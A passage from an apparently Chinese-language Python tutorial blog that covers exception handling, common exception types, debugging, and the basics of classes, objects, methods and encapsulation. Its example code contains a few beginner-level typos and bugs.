class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;豆瓣电影Top250排行,使用列表存储电影信息,要求输入名字在屏幕上娴熟xxx出演了哪部电影&#x27;&#x27;&#x27;</span></span><br><span class="line">lst = [&#123;<span class="string">&#x27;rating&#x27;</span>:[<span class="number">9.7</span>,<span class="number">2062397</span>],<span class="string">&#x27;id&#x27;</span>:<span class="string">&#x27;1292052&#x27;</span>,<span class="string">&#x27;type&#x27;</span>:[<span class="string">&#x27;犯罪&#x27;</span>,<span class="string">&#x27;剧情&#x27;</span>],<span class="string">&#x27;title&#x27;</span>:<span class="string">&#x27;肖申克的救赎&#x27;</span>,<span class="string">&#x27;actors&#x27;</span>:[<span class="string">&#x27;蒂姆·罗宾斯&#x27;</span>,<span class="string">&#x27;摩根·弗里曼&#x27;</span>]&#125;</span><br><span class="line">      &#123;<span class="string">&#x27;rating&#x27;</span>:[<span class="number">9.6</span>,<span class="number">1528760</span>],<span class="string">&#x27;id&#x27;</span>:<span class="string">&#x27;1291546&#x27;</span>,<span class="string">&#x27;type&#x27;</span>:[<span class="string">&#x27;爱情&#x27;</span>,<span class="string">&#x27;剧情&#x27;</span>,<span class="string">&#x27;同性&#x27;</span>],<span class="string">&#x27;title&#x27;</span>:<span class="string">&#x27;霸王别姬&#x27;</span>,<span class="string">&#x27;actors&#x27;</span>:[<span class="string">&#x27;张国荣&#x27;</span>,<span class="string">&#x27;张丰毅&#x27;</span>,<span class="string">&#x27;巩俐&#x27;</span>,<span class="string">&#x27;葛优&#x27;</span>]&#125;</span><br><span class="line">      &#123;<span class="string">&#x27;rating&#x27;</span>:[<span class="number">9.5</span>,<span class="number">1559181</span>],<span class="string">&#x27;id&#x27;</span>:<span class="string">&#x27;1292720&#x27;</span>,<span class="string">&#x27;type&#x27;</span>:[<span class="string">&#x27;剧情&#x27;</span>,<span class="string">&#x27;爱情&#x27;</span>],<span class="string">&#x27;title&#x27;</span>:<span class="string">&#x27;阿甘正传&#x27;</span>,<span class="string">&#x27;actors&#x27;</span>:[<span class="string">&#x27;汤姆·汉克斯&#x27;</span>,<span class="string">&#x27;罗宾·怀特&#x27;</span>]&#125;</span><br><span class="line">      ]</span><br><span class="line"></span><br><span class="line">name = <span class="built_in">input</span>(<span class="string">&#x27;请输入你要查询的演员:&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> lst:<span class="comment">#遍历列表,得到一个&#123;&#125;,item是一个又一个的字典</span></span><br><span class="line">    act_lst = item[<span class="string">&#x27;actors&#x27;</span>]</span><br><span class="line">    <span class="keyword">for</span> actor <span class="keyword">in</span> act_lst:</span><br><span class="line">        <span class="keyword">if</span> name <span class="keyword">in</span> actor:</span><br><span class="line">            print(name,<span class="string">&#x27;出演了：&#x27;</span>,item[<span class="string">&#x27;title&#x27;</span>])</span><br><span class="line">            </span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;for movie in item:#遍历字典,得到movie是一个字典中的key</span></span><br><span class="line"><span class="string">        actors = movie[&#x27;actors&#x27;]       </span></span><br><span class="line"><span class="string">        if name in actors:</span></span><br><span class="line"><span class="string">            print(name + &#x27;出演了:&#x27; + movie)&#x27;&#x27;&#x27;</span></span><br><span class="line">            </span><br></pre></td></tr></table></figure><p>第一层 for 循环遍历列表可以得到每一部电影，而每一部电影又是一个字典，只需要根据 key 在字典中取值即可。根据演员的键 actors 取出学员的列表，使用判断 name 在列表中是否存在，最后根据电影名称的键 title 取出电影的名称，进行输出。</p></li><li><p>被动掉坑：程序代码逻辑没有错，只是因为用户错误操作或者一些 “例外情况” 而导致的程序崩溃。</p>  <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;输入两个整数并进行除法运算&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>)</span><br><span class="line">a = <span class="built_in">int</span>(a)</span><br><span class="line">b = <span class="built_in">input</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>)</span><br><span class="line">b = <span class="built_in">int</span>(b)</span><br><span class="line">result = a/b</span><br><span class="line">print(<span class="string">&#x27;结果为：&#x27;</span>,result)</span><br></pre></td></tr></table></figure></li></ul><h2 id="2-异常处理机制"><a class="markdownIt-Anchor" href="#2-异常处理机制">#</a> 2. 异常处理机制</h2><h3 id="1tryexcept结构-tryexceptexcept结构"><a class="markdownIt-Anchor" href="#1tryexcept结构-tryexceptexcept结构">#</a> （1）try…except 结构、try…except…except 结构</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    n1 = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>))</span><br><span class="line">    n2 = <span class="built_in">int</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>)</span><br><span class="line">    result = n1/n2</span><br><span class="line">    print(<span class="string">&#x27;结果为：&#x27;</span>,result)</span><br><span class="line"><span class="keyword">except</span> ZeroDivisionError:</span><br><span class="line">    print(<span class="string">&#x27;对不起，除数不允许为0&#x27;</span>)</span><br><span class="line"><span class="keyword">except</span> ValueError:</span><br><span class="line">    print(<span class="string">&#x27;只能输入数字串&#x27;</span>)</span><br><span class="line"><span class="keyword">except</span> BaseException <span class="keyword">as</span> e:<span class="comment">#except从子类到父类，最后可以增加BaseException</span></span><br><span class="line">    print(e)</span><br><span class="line">print(<span class="string">&#x27;程序结束&#x27;</span>)</span><br><span class="line">    </span><br></pre></td></tr></table></figure><h3 id="2tryexceptelse结构"><a class="markdownIt-Anchor" href="#2tryexceptelse结构">#</a> （2）try…except…else 结构</h3><p>如果 try 块中没有抛出异常，则执行 else 块，如果 try 中抛出异常，则执行 except 块。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    a = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>))</span><br><span class="line">b = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>))</span><br><span class="line">result = a / b</span><br><span class="line"><span class="keyword">except</span> BaseException <span class="keyword">as</span> e:</span><br><span class="line">    print(<span class="string">&#x27;出错了&#x27;</span>,e)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;计算结果为：&#x27;</span>,result)</span><br></pre></td></tr></table></figure><h3 id="3tryexceptelsefinally结构"><a class="markdownIt-Anchor" href="#3tryexceptelsefinally结构">#</a> （3）try…except…else…finally 结构</h3><p>finally 块无论是否发生异常都会被执行，能常用来释放 try 块中申请的资源。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    a = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>))</span><br><span class="line">b = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>))</span><br><span class="line">result = a / b</span><br><span class="line"><span class="keyword">except</span> BaseException <span class="keyword">as</span> e:</span><br><span class="line">    print(<span class="string">&#x27;出错了&#x27;</span>,e)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;计算结果为：&#x27;</span>,result)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    print(<span class="string">&#x27;谢谢您的使用&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4traceback模块"><a class="markdownIt-Anchor" href="#4traceback模块">#</a> （4）traceback 模块</h3><p>使用 traceback 模块打印异常处理信息，存储 log 日志。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#print(10/0)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> traceback</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    print(<span class="string">&#x27;------------------&#x27;</span>)</span><br><span class="line">    print(<span class="number">1</span>/<span class="number">0</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    traceback.print_exc()</span><br></pre></td></tr></table></figure><h2 id="3-python常见的异常类型"><a class="markdownIt-Anchor" href="#3-python常见的异常类型">#</a> 3. Python 常见的异常类型</h2><table><thead><tr><th style="text-align:center">序号</th><th style="text-align:center">异常类型</th><th style="text-align:center">描述</th></tr></thead><tbody><tr><td style="text-align:center">1</td><td style="text-align:center">ZeroDivisionError</td><td style="text-align:center">除（或取模）零（所有数据类型）</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">IndexError</td><td style="text-align:center">序列中没有此索引（index）</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">KeyError</td><td style="text-align:center">映射中没有这个键</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">NameError</td><td style="text-align:center">未声明 / 初始化对象（没有属性）</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">SyntaxError</td><td style="text-align:center">Python 语法错误</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">ValueError</td><td style="text-align:center">传入无效的参数</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;ZeroDivisionError&#x27;&#x27;&#x27;</span></span><br><span class="line">print(<span class="number">10</span>/<span class="number">0</span>)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;IndexError&#x27;&#x27;&#x27;</span></span><br><span class="line">lst = [<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">print(lst[<span class="number">4</span>])</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;KeyError&#x27;&#x27;&#x27;</span></span><br><span class="line">dic = &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;张三&#x27;</span>,<span class="string">&#x27;age&#x27;</span>:<span class="number">20</span>&#125;</span><br><span class="line">print(dic[<span class="string">&#x27;gender&#x27;</span>])</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;NameError&#x27;&#x27;&#x27;</span></span><br><span class="line">print(num)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;SyntaxError&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="built_in">int</span> a = <span class="number">20</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;ValueError&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="built_in">int</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="4-pycharm的调试模式"><a class="markdownIt-Anchor" href="#4-pycharm的调试模式">#</a> 4. PyCharm 的调试模式</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> i &lt;= <span class="number">10</span>:<span class="comment">#设置断点进行调试</span></span><br><span class="line">    print(i)</span><br><span class="line">    i += <span class="number">1</span></span><br></pre></td></tr></table></figure><h1 id="十三-找对象不积极思想有问题"><a class="markdownIt-Anchor" href="#十三-找对象不积极思想有问题">#</a> 十三、找对象不积极，思想有问题</h1><h2 id="1-两大编程思想"><a class="markdownIt-Anchor" href="#1-两大编程思想">#</a> 1. 两大编程思想</h2><table >    <tr>        <td style="text-align:center"> </td>        <td style="text-align:center">面向过程</td>        <td style="text-align:center">面向对象</td>    </tr>    <tr>        <td> 区别 </td>        <td>事物比较简单，可以用线性的思维去解决</td>        <td>事物比较复杂，使用简单的线性思维无法解决</td>    </tr>    <tr>          <td>共同点</td>               <th colspan="2">面向过程和面向对象都是解决实际问题的一种思维方式        </th>         </tr>      <tr>          <td></td>               <th colspan="2">二者相辅相成，并不是对立的；解决复杂问题，通过面向对象方式便于我们从宏观上把握事物之间复杂的关系、方便我们分析整个系统；具体到微观操作，仍然使用面向过程方式来处理。        </th>         </tr>  </table><h2 id="2-类和对象的创建"><a class="markdownIt-Anchor" href="#2-类和对象的创建">#</a> 2. 类和对象的创建</h2><p><strong>类</strong>是多个类似事物组成的群体的统称。能够帮助我们快速理解和判断事物的性质。</p><p>** 对象：** 不同数据类型属于不同的类，像 100、99、520 都是 int 类之下包含的相似的不同个例，这些个例专业术语称为实例或者对象。</p><h3 id="1类的创建"><a class="markdownIt-Anchor" href="#1类的创建">#</a> （1）类的创建</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;Student类名由一个或多个单词组成，每个单词的首字母大写，其余小写&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#Python中一切皆对象，Student是对象吗？内存由开空间吗？</span></span><br><span class="line">print(<span class="built_in">id</span>(Student))</span><br><span class="line">print(<span class="built_in">type</span>(Student))</span><br><span class="line">print(Student)</span><br></pre></td></tr></table></figure><p><strong>类的组成：</strong></p><ul><li>类属性</li><li>实例方法</li><li>静态方法</li><li>类方法</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    native_pace = <span class="string">&#x27;吉林&#x27;</span><span class="comment">#直接写在类里的变量，称为类属性</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        self.name = name<span class="comment">#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性</span></span><br><span class="line">        self.age = age</span><br><span class="line">   </span><br><span class="line"><span class="comment">#实例方法</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;学生在吃饭...&#x27;</span>)</span><br><span class="line">    <span class="comment">#静态方法</span></span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">method</span>():</span></span><br><span class="line">        print(<span class="string">&#x27;我使用了staticmethod进行修饰，所以我是静态方法&#x27;</span>)</span><br><span class="line">    <span class="comment">#类方法</span></span><br><span class="line"><span class="meta">    @classmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">cm</span>(<span class="params">cls</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;我是类方法，因为我使用了classmethod进行修饰&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;在类之外定义的称为函数，在类之内定义的称为方法</span></span><br><span class="line"><span class="string">def drink();#函数</span></span><br><span class="line"><span class="string">print(&#x27;喝水&#x27;)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="2对象的创建"><a class="markdownIt-Anchor" href="#2对象的创建">#</a> （2）对象的创建</h3><blockquote><p>对象的创建又称为类的实例化：实例名 = 类名（）</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    native_pace = <span class="string">&#x27;吉林&#x27;</span><span class="comment">#直接写在类里的变量，称为类属性</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        self.name = name<span class="comment">#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性</span></span><br><span class="line">        self.age = age</span><br><span class="line">   </span><br><span class="line"><span class="comment">#实例方法</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;学生在吃饭...&#x27;</span>)</span><br><span class="line">    <span class="comment">#静态方法</span></span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">method</span>():</span></span><br><span class="line">        print(<span class="string">&#x27;我使用了staticmethod进行修饰，所以我是静态方法&#x27;</span>)</span><br><span class="line">    <span class="comment">#类方法</span></span><br><span class="line"><span class="meta">    @classmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">cm</span>(<span class="params">cls</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;我是类方法，因为我使用了classmethod进行修饰&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;在类之外定义的称为函数，在类之内定义的称为方法</span></span><br><span class="line"><span class="string">def drink();#函数</span></span><br><span class="line"><span class="string">print(&#x27;喝水&#x27;)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#创建Student类的对象</span></span><br><span class="line">stu1 = Student(<span class="string">&#x27;张三&#x27;</span>，<span class="number">20</span>)</span><br><span class="line">stu1.eat()<span class="comment">#对象名.方法名()</span></span><br><span class="line">print(stu1.name)</span><br><span class="line">print(stu1.age)</span><br><span class="line">print(<span class="string">&#x27;---------------------------&#x27;</span>)</span><br><span class="line">print(<span class="built_in">id</span>(stu1))</span><br><span class="line">print(<span class="built_in">type</span>(stu1))</span><br><span class="line">print(stu1)</span><br><span class="line">print(<span class="string">&#x27;---------------------------&#x27;</span>)</span><br><span class="line">print(<span class="built_in">id</span>(Student))</span><br><span class="line">print(<span class="built_in">type</span>(Student))</span><br><span class="line">print(Student)</span><br><span class="line">print(<span class="string">&#x27;--------------------------&#x27;</span>)</span><br><span class="line">Student.eat(stu1)<span class="comment">#类名.方法名(类的对象)与stu1.eat()一样，都是调用Student中的eat方法</span></span><br></pre></td></tr></table></figure><h2 id="3-类属性-类方法-静态方法"><a class="markdownIt-Anchor" href="#3-类属性-类方法-静态方法">#</a> 3. 类属性、类方法、静态方法</h2><ul><li>** 类属性：** 类中方法外的变量称为类属性，被该类的所有对象所共享。</li><li>** 类方法：** 使用 @classmethod 修饰的方法，使用类名直接访问的方法。</li><li>** 静态方法：** 使用 @staticmethod 修饰的方法，使用类名直接访问的方法。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    native_pace = <span class="string">&#x27;吉林&#x27;</span><span class="comment">#直接写在类里的变量，称为类属性</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span><span class="comment">#初始化方法</span></span><br><span class="line">        self.name = name<span class="comment">#self,name称为实体属性，进行了一个赋值的操作，将局部变量name的值赋给实体属性</span></span><br><span class="line">        self.age = age</span><br><span class="line">   </span><br><span class="line"><span class="comment">#实例方法</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;学生在吃饭...&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">    <span class="comment">#静态方法</span></span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">method</span>():</span></span><br><span class="line">        print(<span class="string">&#x27;我使用了staticmethod进行修饰，所以我是静态方法&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">    <span class="comment">#类方法</span></span><br><span class="line"><span class="meta">    @classmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">cm</span>(<span class="params">cls</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;我是类方法，因为我使用了classmethod进行修饰&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        </span><br><span class="line">print(<span class="string">&#x27;------------类属性的使用方法---------------&#x27;</span>)      </span><br><span class="line">print(Student.native_pace)</span><br><span class="line">stu1 = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>)</span><br><span class="line">stu2 = Student(<span class="string">&#x27;李四&#x27;</span>,<span class="number">30</span>)</span><br><span class="line">print(stu1.native_pace)</span><br><span class="line">print(stu2.native_pace)</span><br><span class="line">Student.native_pace = <span class="string">&#x27;天津&#x27;</span></span><br><span class="line">print(stu1.native_pace)</span><br><span class="line">print(stu2.native_pace)</span><br><span class="line">print(<span class="string">&#x27;------------类方法的使用方式--------------&#x27;</span>)</span><br><span class="line">Student.cm()</span><br><span class="line">print(<span class="string">&#x27;-----------静态方法的使用方式----------------&#x27;</span>)</span><br><span class="line">Student.method()</span><br></pre></td></tr></table></figure><h2 id="4-动态绑定属性和方法"><a class="markdownIt-Anchor" href="#4-动态绑定属性和方法">#</a> 4. 动态绑定属性和方法</h2><blockquote><p>Python 是动态语言，在创建对象后，可以动态地绑定属性和方法。</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(self.name + <span class="string">&#x27;在吃饭&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">stu1 = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>)</span><br><span class="line">stu2 = Student(<span class="string">&#x27;李四&#x27;</span>,<span class="number">30</span>)</span><br><span class="line">print(<span class="built_in">id</span>(stu1))</span><br><span class="line">print(<span class="built_in">id</span>(stu2))</span><br><span class="line">print(<span class="string">&#x27;---------只给李四添加一个性别---------------&#x27;</span>)</span><br><span class="line">stu2.gender = <span class="string">&#x27;女&#x27;</span></span><br><span class="line">print(stu1.name,stu1.age)<span class="comment">#如果添加stu1.gender会抛出AttributeError</span></span><br><span class="line">print(stu2.name,stu2.age,stu2.gender)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;-------------------------&#x27;</span>)</span><br><span class="line">stu1.eat()</span><br><span class="line">stu2.eat()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;定义在类之外地，称为函数&#x27;</span>)</span><br><span class="line">stu1.show = show</span><br><span class="line">stu1.show</span><br><span class="line"><span class="comment">#stu2.show因为stu2并没有绑定show方法</span></span><br></pre></td></tr></table></figure><h1 id="十四-接着找对象"><a class="markdownIt-Anchor" href="#十四-接着找对象">#</a> 十四 、接着找对象</h1><p><strong>面向对象的三大特征：</strong></p><ul><li>封装：提高程序的安全性。（1）将数据（属性）和行为（方法）包装到类对象中，在方法内部对属性进行操作，在类对象的外部调用方法。这样，无需关心方法内部的具体实现细节，从而隔离了复杂度；（2）在 Python 中没有专门的修饰符用于属性的私有，如果该属性不希望在类对象外部被访问，前边使用两个 “__”；</li><li>继承：提高代码的复用性；</li><li>多态：提高程序的可扩展性和可维护性。</li></ul><h2 id="1-封装"><a class="markdownIt-Anchor" href="#1-封装">#</a> 1. 封装</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Car</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,brand</span>):</span></span><br><span class="line">        self.brand = brand</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">start</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;汽车已启动...&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">car = Car(<span class="string">&#x27;宝马X5&#x27;</span>)</span><br><span class="line">car.start()</span><br><span class="line">print(car,brand)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.__age = age <span class="comment">#年龄age不希望在类的外部被使用，所以加了两个“_”</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(self.name,self.__age)</span><br><span class="line"></span><br><span class="line">stu = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>)</span><br><span class="line">stu.show()</span><br><span class="line"><span 